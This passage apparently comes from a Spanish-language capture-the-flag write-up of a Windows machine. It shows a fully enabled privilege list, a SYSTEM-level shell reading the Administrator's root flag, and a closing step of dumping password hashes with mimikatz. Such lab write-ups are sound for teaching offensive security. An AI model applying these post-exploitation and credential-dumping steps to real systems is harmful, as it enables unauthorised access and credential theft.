SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
e1ee98fc6b5b51fc7aaa6c2b0f07317a
PS C:\Windows\system32>
Dump Hashes
Como administrator ejecutamos mimikatz para dumpear los hashes.